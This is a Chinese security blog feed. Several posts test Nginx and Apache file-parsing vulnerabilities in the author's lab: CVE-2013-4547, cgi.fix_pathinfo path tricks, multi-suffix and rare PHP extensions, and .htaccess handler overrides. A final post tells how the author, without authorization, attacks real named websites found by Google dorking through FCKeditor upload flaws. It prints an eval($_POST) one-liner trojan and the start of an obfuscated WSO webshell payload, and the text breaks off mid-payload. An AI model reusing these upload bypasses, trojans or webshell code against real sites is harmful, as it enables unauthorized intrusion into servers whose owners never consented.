我的测试环境中,该文件位于/etc/php5/fpm/php-fpm.conf。修改该文件中的“security.limit_extensions”,添加上.jpg,添加后如下所示:

  security.limit_extensions = .php .jpg

这样,php便认为.jpg也是合法的php文件后缀了,再在浏览器中访问 http://127.0.0.1/test.jpg/test.php ,看到php被成功执行,如下图所示:

php代码被成功执行

由上述原理可知,http://127.0.0.1/test.jpg/test.xxx/test.php 也是可以执行的。

上面的测试均在Nginx1.4.6中进行。这一漏洞是由于Nginx中php配置不当而造成的,与Nginx版本无关,但在高版本的php中,由于“security.limit_extensions”的引入,使得该漏洞难以被成功利用。

为何是Nginx中的php才会有这一问题呢?因为Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。而如Apache等,会先看该文件是否存在,若存在则再决定该如何处理。cgi.fix_pathinfo是php具有的,若在php前便已正确判断了文件是否存在,cgi.fix_pathinfo便派不上用场了,这一问题自然也就不存在了。(2017.08.15:IIS在这一点和Nginx是一样的,同样存在这一问题)

做个小实验,分别访问两个不存在的文件123123.xxx和123123.php,虽然都返回404,但一看页面,也该知这两个文件的处理流程是不同的。

下图是访问123123.xxx的结果,404由Nginx给出:

不存在的普通文件

下图是访问123123.php的结果,404页面和上图不同:

不存在的php文件

查看错误日志,找到了:

  FastCGI sent in stderr: "Primary script unknown" while reading response header from upstream, client: 127.0.0.1, server: localhost, request: "GET /123123.php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "127.0.0.1"

由此可知Nginx确实只看了后缀就直接把123123.php交给php处理了,这一文件不存在也是php做出的判断。

%00截断

影响范围:

  0.5., 0.6., 0.7 <= 0.7.65, 0.8 <= 0.8.37 ?

利用方式:

  /test.jpg%00.php

测试:

服务器为Nginx1.4.6,浏览器中访问 http://127.0.0.1/test.jpg%00.php ,返回“400 Bad Request”,代码未执行,测试失败。实在是安不好又找不到这么老的Nginx,遂放弃测试。

%00截断似乎是一个大类,什么时候有空专门研究下。

CVE-2013-4547

CVE-2013-4547是一个还算新的漏洞,影响范围也比较大:

  0.8.41~1.4.3, 1.5 <= 1.5.7

顺便一提,截止本文写作时,Nginx的最新版本是1.13.4 。

这一漏洞的原理是非法字符空格和截止符(\0)会导致Nginx解析URI时的有限状态机混乱,危害是允许攻击者通过一个非编码空格绕过后缀名限制。是什么意思呢?举个例子,假设服务器上存在文件:“file.aaa ”,注意文件名的最后一个字符是空格。则可以通过访问:

http://127.0.0.1/file.aaa \0.bbb

让Nginx认为文件“file.aaa ”的后缀为“.bbb”。

来测试下,这次测试在Nginx/1.0.15中进行。首先准备一张图片,命名为“test.html ”,注意,文件名含有空格。然后在浏览器中访问该文件,会得到一个404,因为浏览器自动将空格编码为%20,服务器中不存在文件“test.html%20”。

测试目标是要让Nginx认为该文件是图片文件并正确地在浏览器中显示出来。我们想要的是未经编码的空格和截止符(\0),怎么办呢?使用Burp Suite抓取浏览器发出的请求包,修改为我们想要的样子,原本的URL是:http://192.168.56.101/test.htmlAAAphp ,将第一个“A”改成“20”(空格符号的ASCII码),将第二个“A”改成“00”(截止符),将第三个“A”改成“2e”(“.”的ASCII码),如下图所示:

修改请求

修改完毕后Forward该请求,在浏览器中看到:

成功显示图片

我们已经成功地利用了漏洞!但这有什么用呢?我们想要的是代码被执行。

继续测试,准备文件“test.jpg ”,注意文件名的最后一个字符是空格,文件内容为:

  <?php phpinfo() ?>

用Burp Suite抓包并修改,原本的URL是:http://192.168.56.101/test.jpg…php ,将jpg后的第一个“.”改为20,第二个“.”改为00,如下图所示:

修改请求

修改完毕后Forword该请求,在浏览器中看到:

  Access denied.

好吧,又是这个。打开Nginx的错误日志,在其中也可以看到:

  FastCGI sent in stderr: "Access to the script '/usr/local/nginx/html/test.jpg ' has been denied (see security.limit_extensions)" while reading response header from upstream, client: 192.168.56.102, server: localhost, request: "GET /test.jpg .php HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:", host: "192.168.56.101"

这说明Nginx在接收到这一请求后,确实把文件“test.jpg ”当做php文件交给php去执行了,只是php看到该文件后缀为“.jpg ”而拒绝执行。这样,便验证了Nginx确实存在该漏洞。

但不知为何,不管我怎样设置,php都不肯把“test.jpg ”当做php文件执行。看来“security.limit_extensions”威力强大,一招破万法。

CVE-2013-4547还可以用于绕过访问限制,虽然和文件解析漏洞无关,但也记录在这里。

首先在网站根目录下新建一个目录,命名为protected,在目录protected中新建文件s.html,内容随意。然后在Nginx的配置文件中写上:

  location /protected/ {
    deny all;
  }

以禁止该目录的访问。接着在网站根目录下新建一个目录,名为“test ”,目录名的最后一个字符是空格,该目录用于触发漏洞。最后来进行验证,直接访问:

  http://127.0.0.1/protected/s.html

返回“403 Forbidden”。利用漏洞访问:

  http://127.0.0.1/test /../protected/s.html

成功访问到文件s.html。注意上示URL中的空格,不要将空格编码。

为成功利用漏洞,我们在测试中准备了名字以空格结尾的文件和目录,这是因为在linux中,文件名是可以以空格结尾的。若不准备这样的文件,漏洞可以成功触发,但结果却是404,找不到类似“test.jpg ”这样的文件。而在Windows中,文件名不能以空格结尾,所以Windows程序遇到文件名“test.jpg ”会自动去掉最后的空格,等同于访问“test.jpg”,基于这样的原因,这一漏洞在Windows中会很容易利用。

参考资料

附:编译安装Nginx

为验证漏洞,需要安装Nginx。为安装有漏洞的版本,不使用apt-get,而是编译安装。我使用的操作系统是Ubuntu14.04,安装了nginx-1.0.15,需要安装以下依赖:

  sudo apt-get install libpcre3 libpcre3-dev
  sudo apt-get install zlib1g.dev
  sudo apt-get install libssl-dev

还要安装php:

  sudo apt-get install php5-fpm

后来发现,在新安装的Ubuntu14.04中,不先update直接用:

  sudo apt-get install nginx

安装的Nginx的版本是1.4.6,也不是很新。还想要安装更老版本的Nginx(<= 0.8.37)结果总是编译失败,只好放弃。

要开启Nginx对php的支持,去掉配置文件中关于php的注释并重启Nginx即可:

  location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
    #   # NOTE: You should have "cgi.fix_pathinfo = 0;" in php.ini
    #
    #   # With php5-cgi alone:
    #   fastcgi_pass 127.0.0.1:9000;
    #   # With php5-fpm:
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_index index.php;
    include fastcgi_params;
  }

配置时还遇到许多问题,但只要翻阅错误日志,知道是什么问题,便可对症下药,一一解决。若不知道问题是什么,只看到个400、500,这样子是很难解决问题的。

]]>
https://blog.werner.wiki/file-resolution-vulnerability-nginx/feed/ 1
文件解析漏洞总结-Apache https://blog.werner.wiki/file-resolution-vulnerability-apache/ https://blog.werner.wiki/file-resolution-vulnerability-apache/#respond Wed, 09 Aug 2017 08:52:29 +0000 http://blog.werner.wiki/?p=294 我最为熟悉的便是Apache了,先来研究它的文件解析漏洞。百度许久,又谷歌一番,最终发觉,Apache关于文件解析,似乎只有三种“漏洞”。之所以打引号是因为我觉得这三种“漏洞”都不是Apache的漏洞,只是其特性,而很多程序员不了解这种特性,故而写出有问题的代码,这才给黑客可趁之机,造成漏洞。但大家都称呼这是Apache的文件解析漏洞,我也只好随大流了。

1.多后缀名

先说第一种特性:多后缀名。这是怎么的一种鲜为人知的特性呢?原来是这样的,Apache认为,一个文件可以有多个后缀,如:werner.txt.png.mp3。这一文件,放在Windows里,毫无疑问,就是个mp3文件,Windows只认最后一个“.”及其后面的字符“mp3”,觉得该文件后缀为“.mp3”,这也是大多数操作系统、应用软件的处理方式、是正常人的习惯。而在Apache中,则可能有所不同,如果有必要,Apache会从后(右)往前(左),一一辨别后缀。何时有必要?当Apache不认识某个后缀时,便有必要。如某文件名为:werner.mp3.html.qwe.arex,Apache在处理时,先读取最后一个后缀,为“.arex”,一看,这啥玩意啊,不认识,继续读取下一个后缀“.qwe”,一看,呀,这又是啥,还是不认识,继续读下一个后缀“.html”,一看,哦,这是个超文本标记语言文件,俗称网页文件,这回认识了,也就不继续读下一个后缀了。若是所有后缀都看完了没有一个认识怎么办?此时就会把该文件当做默认类型进行处理了,一般来说,默认类型是text/plain。据说在Apache的配置文件中搜索“DefaultType”就能看到默认类型的明确定义了,但我却不知为何,没有找到。

哪些后缀Apache认识,哪些不认识?有一个名为mime.types的文件,其中记录着Apache认识的后缀。在Ubuntu下,该文件位于/etc/mime.types,在Windows下,该文件位于C:/apache/conf/mime.types(类似这样的,注意Apache的安装路径)。该文件是一个一对多的映射表,定义了某一种文件类型对应的几种后缀。除了该文件,在Apache的配置文件中,还可以用AddCharset语句添加映射,如:

  AddCharset us-ascii   .ascii .us-ascii
  AddCharset ISO-2022-CN .iso2022-cn .cis

mime.types是个很长的文件,大概看了下,Apache认识的后缀比我多多了。节选部分如下所示:

  application/java-archive          jar
  application/m3g                   m3g
  application/java-vm               class
  application/javascript            js
  application/json                  json
  text/html                         html htm shtml
  text/x-diff                       diff patch
  video/x-flv                       flv
  video/x-la-asf                    lsf lsx
  video/x-mng                       mng
  video/x-ms-asf                    asf asx
  video/x-ms-wm                     wm

这一特性会带来什么问题呢?网站往往有上传文件的功能,但一定不想让用户上传程序,因为这很可能会危害网站安全,故而会检查上传文件的后缀名,若是.php,则拒绝上传(假设这是个php站)。此时用户只需上传文件evildoer.php.qwe,若是程序员不了解Apache的这一特性,编写的程序检查后缀时只看“.qwe”,而认为这不是程序文件,允许上传,则用户成功地绕过了上传时的安全检查,上传了php程序文件。该文件的最后一个后缀“.qwe”是Apache不认识的,故而Apache会以倒数第二个后缀“.php”为准,把该文件当做是php文件,解析执行。

这总是奏效的吗?按理来说,由于这是特性而不是漏洞,所以适用于所有版本的Apache。这一奇怪的特性,说不定正是Apache的自豪之处呢。但是,在我的测试中却发现,类似aaa.php.xxx的文件并不会被作为php程序执行,而是被当成文本文件,返回给浏览器,在浏览器中可以看到php源码,而不是执行结果。测试环境是Ubuntu14.04+Apache2.4.7+php5。

这是怎么回事?难道前面几百字都是废话,说的是错的?我们来做个实验。准备一个文件,内容随意,命名为test.jpg.aaa,放置在Apache中,然后在浏览器中访问它,结果如下图所示:

可见浏览器是将该文件作为图片处理的。浏览器为何认为test.jpg.aaa是图片呢?aaa可不是图片文件的后缀。这是因为服务器的响应HTTP头中的Content-Type字段值为image/jpeg,浏览器看到image/jpeg,便知这是图片文件。这说明服务器(此处即Apache)是把test.jpg.aaa当做图片的,也说明,前面分析的Apache的多后缀处理是没有错的。

那么aaa.php.xxx为何没有被作为php代码执行呢?我猜是这样的,当然只是我的猜测,实在是找不到相关资料,只好猜了。Apache看到文件aaa.php.xxx,按照多后缀名的解析规则,认为该文件是php程序文件,把该文件作为php程序文件处理。怎么处理呢?交给php解释器,Apache本身并不懂php。而php解释器却有着和Apache不同的后缀解析规则,可能只认最后一个后缀,故而认为aaa.php.xxx不是php程序文件,拒绝执行。在我的测试环境中,php以模块(module)的模式工作于Apache的领导下。这种模式下php接受到领导Apache分配的任务——aaa.php.xxx,一看,不是php程序文件,没法执行,但也没有报错,而是返回了文件内容本身。php还可以以FASTCGI的模式工作于Apache中,此种模式下php遇到类似aaa.php.xxx这种不是php程序的文件,会触发500错误。

php本身是如何识别文件的呢?我在Apache的模块的配置文件中找到了php5.conf,内容如下:

  <FilesMatch ".+\.ph(p[345]?|t|tml)$">
      SetHandler application/x-httpd-php
  </FilesMatch>
  <FilesMatch ".+\.phps$">
      SetHandler application/x-httpd-php-source
      # Deny access to raw php sources by default
      # To re-enable it's recommended to enable access to the files
      # only in specific virtual host or directory
      Order Deny,Allow
      Deny from all
  </FilesMatch>
  # Deny access to files without filename (e.g. '.php')
  <FilesMatch "^\.ph(p[345]?|t|tml|ps)$">
      Order Deny,Allow
      Deny from all
  </FilesMatch>

  # Running PHP scripts in user directories is disabled by default
  #
  # To re-enable PHP in user directories comment the following lines
  # (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
  # prevents .htaccess files from disabling it.
  <IfModule mod_userdir.c>
      <Directory /home/*/public_html>
          php_admin_flag engine Off
      </Directory>
  </IfModule>

阅读上示配置文件可知,被当做php程序执行的文件名要符合正则表达式:

    ".+\.ph(p[345]?|t|tml)$"

其中“$”符号在正则中匹配结束,故而可知php本身确实是只看最后一个后缀的。就算Apache把某文件当php程序,php自己不认它,也是无用。

进一步试验,把php5.conf文件中刚刚提到的正则表达式的“$”换成“\.”,即:

  ".+\.ph(p[345]?|t|tml)\."

然后重启Apache使配置文件生效,再在浏览器中访问aaa.php.xxx,这次,aaa.php.xxx果然被当做php程序执行了,在浏览器中,看到的是程序执行结果而不是源码。这也从侧面验证了,我的猜测是正确的。测试完之后,一定要记得改回去。

2.罕见后缀

计算机世界自开天辟地以来,便自由多彩。还记得mime.types文件吗?在该文件中搜索“php”这三个字母,结果如下所示:

  werner@Yasser:~$ cat /etc/mime.types | grep php
  #application/x-httpd-php                      phtml pht php
  #application/x-httpd-php-source               phps
  #application/x-httpd-php3                     php3
  #application/x-httpd-php3-preprocessed        php3p
  #application/x-httpd-php4                     php4
  #application/x-httpd-php5                     php5

还记得正则表达式”.+\.ph(p[345]?|t|tml)$”吗,该正则表达式匹配的不仅仅有php,还有php3、php4、php5、pht和phtml。

好吧,原来不仅php,就连phtml、pht、php3、php4和php5都是Apache和php认可的php程序的文件后缀。我原本只知道“.php”的,真是大开眼界。这就好比,不仅py是Python程序文件的后缀,还有pyc和pyo也都是。写上传过滤规则的程序员是否博学多识,也知道这些知识呢?若是不知道,岂不是又生漏洞。利用这些“罕见”的后缀名,也可能绕过安全检查,干些“坏事”。

我在Ubuntu14.04+Apache2.4.7中进行测试,先准备文件text.php,其内容是经典的Hello World:

  <?php echo 'HELLO WORLD'; ?>

然后在浏览器中打开它,成功显示“HELLO WORLD”。再修改该文件后缀为各种后缀,进行测试。测试结果是,以php、phtml、pht、php3、php4和php5为后缀,能成功看到“HELLO WORLD”;以phps为后缀,会报403错误,Forbidden;以php3p为后缀,会在浏览器中看到源码。

3.妙用.htaccess

.htaccess是Apache的又一特色。一般来说,配置文件的作用范围都是全局的,但Apache提供了一种很方便的、可作用于当前目录及其子目录的配置文件——.htaccess(分布式配置文件)。

要想使.htaccess文件生效,需要两个条件,一是在Apache的配置文件中写上:

  AllowOverride All

若这样写则.htaccess不会生效:

  AllowOverride None

二是Apache要加载mod_Rewrite模块。加载该模块,需要在Apache的配置文件中写上:

  LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so

若是在Ubuntu中,可能还需要执行命令:

  sudo a2enmod rewrite

配置完后需要重启Apache。

需要注意Apache可能有多个配置文件,后加载的配置文件会覆盖先加载的配置文件中的配置。所以在某个配置文件中将AllowOverride设置成All,若是其后加载的某个配置文件中AllowOverride的设置是None,则也是没有用的。一般来说,先加载httpd.conf,再加载conf.d/中的配置文件,最后加载sites-enabled/中的配置文件。

这意味着,.htaccess并不总是有效的。而且不幸的是,在我的测试环境中.htaccess默认无效。好吧,为了测试,我只好将它改为有效。以下讨论均在.htaccess有效的前提下进行。

.htaccess文件可以配置很多事情,如是否开启站点的图片缓存、自定义错误页面、自定义默认文档、设置WWW域名重定向、设置网页重定向、设置图片防盗链和访问权限控制。但我们这里只关心.htaccess文件的一个作用——MIME类型修改。如在.htaccess文件中写入:

  AddType application/x-httpd-php xxx

就成功地使该.htaccess文件所在目录及其子目录中的后缀为.xxx的文件被Apache当做php文件。另一种写法是:

  <FilesMatch "shell.jpg">
    SetHandler application/x-httpd-php
  </FilesMatch>

该语句会让Apache把shell.jpg文件解析为php文件。

下面是一次测试,测试前已经打开Apache对.htaccess文件的支持。在网站根目录中准备如下文件树:

  │
  ├── htaccess_test/
  │   ├── .htaccess
  │   ├── shell.jpg
  │   ├── type.xxx
  │   └── test/
  │       ├── shell.jpg
  │       └── type.xxx
  ├── shell.jpg
  └── type.xxx

其中,文件.htaccess的内容为:

  AddType application/x-httpd-php xxx

  <FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
  </FilesMatch>

文件shell.jpg和type.xxx的内容相同,均为:

  <?php echo 'HELLO WORLD'; ?>

然后在浏览器中访问各文件,结果如下表所示:

访问路径 访问结果
/type.xxx <?php echo ‘HELLO WORLD’; ?>
/shell.jpg 加载失败的图片
/htaccess_test/type.xxx HELLO WORLD
/htaccess_test/shell.jpg HELLO WORLD
/htaccess_test/test/type.xxx HELLO WORLD
/htaccess_test/test/shell.jpg HELLO WORLD

这一测试结果和预期是相符的。

但是,按照前面的猜测,就算Apache认为type.xxx是php文件,php自己不这么认为,不也是不能执行的吗?这次怎么就能执行了,好生奇怪。但不管怎么说,我们都已经知道,当.htaccess文件有效时,用.htaccess文件可以很好地设置文件后缀的解析方式。

参考资料

]]>
https://blog.werner.wiki/file-resolution-vulnerability-apache/feed/ 0
文件解析漏洞总结-Introduction https://blog.werner.wiki/file-resolution-vulnerability-introduction/ https://blog.werner.wiki/file-resolution-vulnerability-introduction/#respond Mon, 07 Aug 2017 08:50:20 +0000 http://blog.werner.wiki/?p=291 前言

前几天研究FCKeditor的上传漏洞,深深感觉到上传漏洞是和解析漏洞联系在一起的。而我对文件解析漏洞又不甚了解,向来是用到再查,效率极低,故而现在想要认真地学习总结下文件解析漏洞。学习方法便是寻找相关文章,阅读后再自己搭建模拟环境,一一尝试,最后将自己试验结果,记录在博客中。参考到的所有文章在各博文末尾均给出了链接。整个学习过程,最耗时的便是安装各种虚拟机与软件,搭建好环境后,真正的测试,往往只需一瞬间。虽如此,然常言道,耳听为虚,眼见为实,不亲眼看看,我总不免有所疑惑。

什么是文件解析漏洞

计算机如何知道一个文件是什么类型的文件?是文本、图片、音乐还是视频?方法很多,这里只说最简单的一种:看后缀名。后缀名是.txt的文件便是文本文件,是.jpg的便是图片,是.mp3的便是音乐,是.mp4的便是视频。但是后缀名是.png的文件也是图片啊?对,正是这种复杂性,导致了文件解析漏洞的出现。文件后缀千千万,程序编写者难以考虑所有后缀;且新后缀不断出现,老软件难以追随潮流。若计算机老把图片文件当成音乐文件而去播放它,自然即无法看图,又无法听歌,这便是个bug了,若利用这个bug还可以干些事情,bug便不仅仅是bug了,还是漏洞了。

我们知道,今天丰富多彩的Web世界是由各种各样的动态语言支撑的,前端有JavaScript,后端有php、jsp、asp等。在一个Web服务器上,既有脚本语言程序文件,又有文本、图片、视频等等文件。Web服务器要能够准确区分哪些文件是程序、哪些文件不是程序。因为程序文件是要被执行的,所谓执行程序,便是操纵计算机干事情。计算机只知道按命令干事情,并不知道自己干的是好事情还是坏事情。如何区分文件是程序还是非程序?一般来说,还是看后缀名。如index.php便是程序,logo.png便不是程序。网站的设计者可能允许用户随意替换文件logo.png(这是很常见的,如修改用户头像),但绝对不能让用户修改文件index.php分毫。若logo.png真的仅仅是个图片,那么便难以对网站所在的计算机(习惯上称网站所在的计算机为服务器)造成危害,但一旦logo.png被当做程序执行,用户便可以构造上传恶意的logo.png文件,危害服务器。正常情况下这是不可能的事情,只有在有漏洞时这才可能发生,这种漏洞便被称为文件解析漏洞。

总结下,文件解析漏洞是服务器错误地将非程序文件当做程序文件并解释执行从而造成危害的漏洞。

这完全是我按照个人理解做的总结,仅供参考。由上述总结可知,文件解析漏洞的错在服务器,进一步讲是服务器软件,具体地讲,便是Apache、Nginx和IIS这样的Web服务器软件。由于是漏洞,当然和软件及版本都有密切关系,就算是同一软件、同一版本,不同配置,打没打补丁,也可能导致有或没有漏洞。故而文件解析漏洞,在一处存在,在另一处很可能就不存在了。这也正是漏洞引人入胜的地方,犹如神龙,藏头露尾。

系列文章

]]>
https://blog.werner.wiki/file-resolution-vulnerability-introduction/feed/ 0
FCKeditor文件上传漏洞 https://blog.werner.wiki/eckeditor-update-vuln/ https://blog.werner.wiki/eckeditor-update-vuln/#respond Sun, 06 Aug 2017 08:44:28 +0000 http://blog.werner.wiki/?p=283 前言

FCKeditor是一款很优秀的富文本编辑器,优秀指的是它的功能性,确实比我以前见过的所有富文本编辑器都要好,功能强大,界面优美。但是,FCKeditor却存在文件上传漏洞,本文记录了一次利用其文件上传漏洞拿站提权的过程。

寻找目标

直接上谷歌:

  inurl:fckeditor/editor/filemanager/browser/default/browser.html

这个路径是FCKeditor文件上传界面的路径。搜索到了几千个结果,如下图所示:

用谷歌搜索漏洞

失败的尝试

随便打开一个看看,如下图所示。

发现有趣的文件

成功的进入到了浏览文件与上传文件页面。仔细观察已有文件,发现有如下文件:

  2.php.jpg
  Shell.php;jpg
  upload.php.jpg
  nicep.PhP;.jpg
  M3R1C4.php.jpg
  c99shell.php.jpg
  Umer.asp;.jpg
  hcked.html
  shell.html

看来这个网站已经有前辈捷足先登了。查阅资料可知,FCKeditor上传文件后按类别将不同文件保存在不同地方,默认地,分别是:

  /UserFiles/File/xxx
  /UserFiles/Image/xxx
  /UserFiles/Flash/xxx
  /UserFiles/Media/xxx

打开其中一个看看吧:http://www.artegijon.com/UserFiles/File/shell.html
,打开后看到,确实是黑页:

黑页

这样的黑页还有好多,就不一一展示了。现在考虑如何拿shell。

尝试打开已有的长得像webshell的文件,全部报500错误。上传文件试试,先上传xxx.php文件,报错,看来是有过滤的,再上传xxx.php3和xxx.php4文件,上传成功,但打开后显示500页面,看来是没有解析漏洞的。

又尝试上传xx.phP文件,也不让上传,看来靠大小写是绕不过去了。上传xxx.php ,成功,访问之,又报500(这次是xxx.php后面加一个空格)。

怎么办呢?一时陷入了僵局。试试.htaccess文件吧,上传内容如下所示的.htaccess文件。

  <FilesMatch "aaa.gif">
    SetHandler application/x-httpd-php
  </FilesMatch>

竟然上传成功了。接着上传aaa.gif文件,上传成功,访问之,依旧是500。又尝试1.asp和1.jsp,都上传失败。

又在Media中看到了压缩包MARIO.zip,不知是什么,下载下来,结果还真是几个视频,没什么用。

又抓包,将上传文件时的

  Content-Type: application/x-php

改为

  Content-Type: text/html

结果还是不行。各种手段已经用尽,没有办法,只好放弃。那些挂黑页的难道只是简简单单上传黑页,连webshell都没拿到,还是漏洞已经修补过了?

再一次尝试

在谷歌搜索结果中另打开一个网站。这次往后翻几页,打开:

http://admin.balaton.cn/FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php&ServerPath=/partner_contents/2681

域名后缀虽然是.cn,但看IP地址,却在匈牙利。这家网站的难点在于,文件上传后没有保存在默认位置。我们该如何确定文件路径呢?我们已经知道该网站有哪些文件了,选取其中一个名字较为特别的,如:5.WK_versenykiiras.doc,然后用谷歌搜索:

  site:admin.balaton.cn 5.WK_versenykiiras.doc

利用强大的谷歌找到该文件,便也就知道了它的路径,从而知道了所有上传文件的路径。找到后发现,父目录是/partner_contents/2681/File/,原来在URL里已经写着了。

该网站中看到如下图所示的文件,其中应该有几个webshell:

尝试打开wso22.php等几个以.php结尾的文件,发现结果是404。打开aaa.php.owf,返回空白页面,查看源码:

  <?php phpinfo(); eval($_POST["ccc"]);?>

是个一句话木马。要说该文件被解析成php执行了,我应该看不到源码,要说被当做txt返回,应该看到的不是空白页面。死马当活马医,用菜刀连得试试,果然是不行的嘛 🙂

再打开wso2.php.fla,又hi空白页面,查看源码,看到是个webshell:

<?php # Web Shell by oRb
$auth_pass = "9beb9f92f05813af27658e7e5e071986";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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